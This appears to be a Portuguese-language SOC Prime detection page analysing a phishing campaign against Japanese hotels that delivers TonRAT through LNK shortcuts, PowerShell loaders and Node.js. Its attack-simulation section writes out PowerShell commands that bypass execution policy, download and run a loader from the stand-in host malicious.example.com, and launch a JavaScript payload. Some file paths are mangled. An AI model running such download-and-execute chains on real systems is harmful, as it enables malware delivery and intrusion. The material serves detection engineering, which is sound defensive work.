SOC Prime Bias: Médio

12 Jun 2026 06:16 UTC

Análise de E-mails Suspeitos Alvejando a Indústria Hoteleira

Author Photo
SOC Prime Team linkedin icon Seguir
Análise de E-mails Suspeitos Alvejando a Indústria Hoteleira
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma campanha de phishing se passando por Booking.com visou operadores de hotéis no Japão por meio de infraestrutura hospedada no Calendly e SendGrid. O email incluía um link encurtado que levava a um arquivo ZIP contendo um atalho LNK malicioso, que então lançava um carregador baseado em PowerShell. Esse carregador recuperava scripts adicionais em PowerShell, descriptografava uma carga útil de JavaScript identificada como TonRAT, baixava o Node.js e executava o RAT. O malware então estabelecia comando-e-controle através de um endpoint de WebSocket obtido via API do TON.

Investigação

O relatório detalha a análise do cabeçalho do email, o abuso de serviços legítimos de entrega e a cadeia completa de execução em múltiplos estágios usada no ataque. Fornece hashes de arquivo para o arquivo ZIP e seus componentes internos e lista os domínios de comando-e-controle observados durante a análise. A investigação também inclui detalhes técnicos sobre o arquivo LNK malicioso e os comandos PowerShell usados para progredir a infecção.

Mitigação

Defensores devem bloquear links encurtados do Calendly suspeitos, verificar cuidadosamente os domínios dos remetentes e restringir a execução de anexos LNK entregues por e-mail. O monitoramento também deve focar em atividades não autorizadas de PowerShell e binários inesperados de Node.js aparecendo em endpoints. O filtragem de URLs pode ajudar a bloquear o acesso aos domínios maliciosos conhecidos envolvidos na campanha.

Resposta

As equipes de segurança devem criar detecções para comandos PowerShell que baixem conteúdo dos domínios de comando-e-controle identificados e para execução de node.exe de locais incomuns. Alertas também devem ser configurados para fluxos de e-mail usando cabeçalhos do SendGrid de fontes não confiáveis ou inesperadas. Investigadores devem coletar arquivos descartados e preservar o tráfego de rede associado às comunicações de WebSocket observadas.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Nodes action_phishing["<b>Ação</b> – <b>T1566.002 Spearphishing Link</b><br/>Email de phishing contendo um link malicioso do Calendly é enviado para a vítima."] class action_phishing action action_user_click["<b>Ação</b> – <b>T1204.001 Execução pelo Usuário: Link Malicioso</b><br/>A vítima clica no link malicioso do Calendly, fazendo com que o navegador baixe um arquivo ZIP."] class action_user_click action action_download_zip["<b>Ação</b> – Baixar ZIP<br/>O arquivo ZIP contém um atalho (.lnk) e um arquivo MP4 fictício."] class action_download_zip action action_open_shortcut["<b>Ação</b> – <b>T1547.009 Modificação de Atalho</b><br/>A vítima abre o atalho .lnk, que executa um comando PowerShell."] class action_open_shortcut action tool_powershell["<b>Ferramenta</b> – PowerShell<br/><b>Propósito</b>: Executa comandos e baixa cargas adicionais."] class tool_powershell tool action_download_script["<b>Ação</b> – <b>T1105 Transferência de Ferramenta de Ingresso</b><br/>PowerShell baixa um script adicional de um servidor remoto."] class action_download_script action action_download_js["<b>Ação</b> – <b>T1027.009 Cargas Incorporadas</b><br/>PowerShell também baixa uma carga de JavaScript criptografada."] class action_download_js action action_download_node["<b>Ação</b> – Baixar Runtime do Node.js<br/>O runtime do Node.js é baixado e usado para iniciar o próximo estágio."] class action_download_node process malware_tonrat["<b>Malware</b> – TonRAT<br/>Trojan de acesso remoto baseado em JavaScript executado via Node.js."] class malware_tonrat malware action_dynamic_resolution["<b>Ação</b> – <b>T1568 Resolução Dinâmica</b><br/>TonRAT consulta a API do TON para resolver domínios de comando-e-controle em tempo de execução."] class action_dynamic_resolution action action_c2["<b>Ação</b> – <b>T1071.001 Protocolo de Camada de Aplicação: Protocolos Web</b><br/>Estabelece um canal de WebSocket para comunicações de C2."] class action_c2 action %% Connections action_phishing –>|leads_to| action_user_click action_user_click –>|triggers| action_download_zip action_download_zip –>|contains| action_open_shortcut action_open_shortcut –>|executes| tool_powershell tool_powershell –>|uses| action_download_script tool_powershell –>|uses| action_download_js action_download_script –>|provides| action_download_node action_download_js –>|provides| action_download_node action_download_node –>|launches| malware_tonrat malware_tonrat –>|performs| action_dynamic_resolution action_dynamic_resolution –>|enables| action_c2 "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pre-Flight da Telemetria e Base Line deve ter passado.

Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque e Comandos:

    1. Acesso Inicial – Download via PowerShell
      O invasor obtém uma sessão remota do PowerShell no host comprometido e usa Invoke-WebRequest para puxar o script carregador do TonRAT de um servidor C2 malicioso. Este passo satisfaz a Invoke-WebRequest correspondência de string.

      powershell -NoProfile -ExecutionPolicy Bypass -Command ^
        "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"
    2. Execução do Carregador
      O script baixado é executado, que por sua vez gera um segundo processo PowerShell para executar comandos adicionais (ainda contendo o literal “PowerShell”).

      powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1
    3. Execução da Carga do Node.js
      TonRAT descarta um arquivo JavaScript malicioso (malicious.js) e o lança com o runtime do Node.js (node.exe). Isso gera a node.exe correspondência de string.

      # Assume que o script já colocou malicious.js em C:Temp
      C:Program Filesnodejsnode.exe C:Tempmalicious.js

    As três criações de processos (PowerShell com Invoke-WebRequest, PowerShell executando o carregador e node.exe) coletivamente satisfazem a condição da regra de detecção.

  • Script de Teste de Regressão:

    #-------------------------------------------------
    # Simulação de Implantação TonRAT – aciona a regra Sigma
    #-------------------------------------------------
    $tempDir = "$env:TEMPtonrat_demo"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. Baixar carregador falso (simulado com um simples echo)
    $loaderUrl = "http://malicious.example.com/tonrat.ps1"
    $loaderPath = "$tempDirtonrat.ps1"
    Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
    
    # 2. Executar o carregador (o carregador apenas cria um arquivo js fictício)
    powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
    
    # 3. Criar uma carga útil JavaScript fictícia
    $jsPath = "C:Tempmalicious.js"
    Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');"
    
    # 4. Executar a carga com Node.js
    $nodePath = "C:Program Filesnodejsnode.exe"
    & $nodePath $jsPath
    #-------------------------------------------------
  • Comandos de Limpeza:

    # Remover todos os artefatos criados pela simulação
    Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
    Remove-Item -Path "C:Tempmalicious.js" -Force
    # Opcionalmente matar quaisquer processos PowerShell/Node remanescentes (se necessário)
    Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force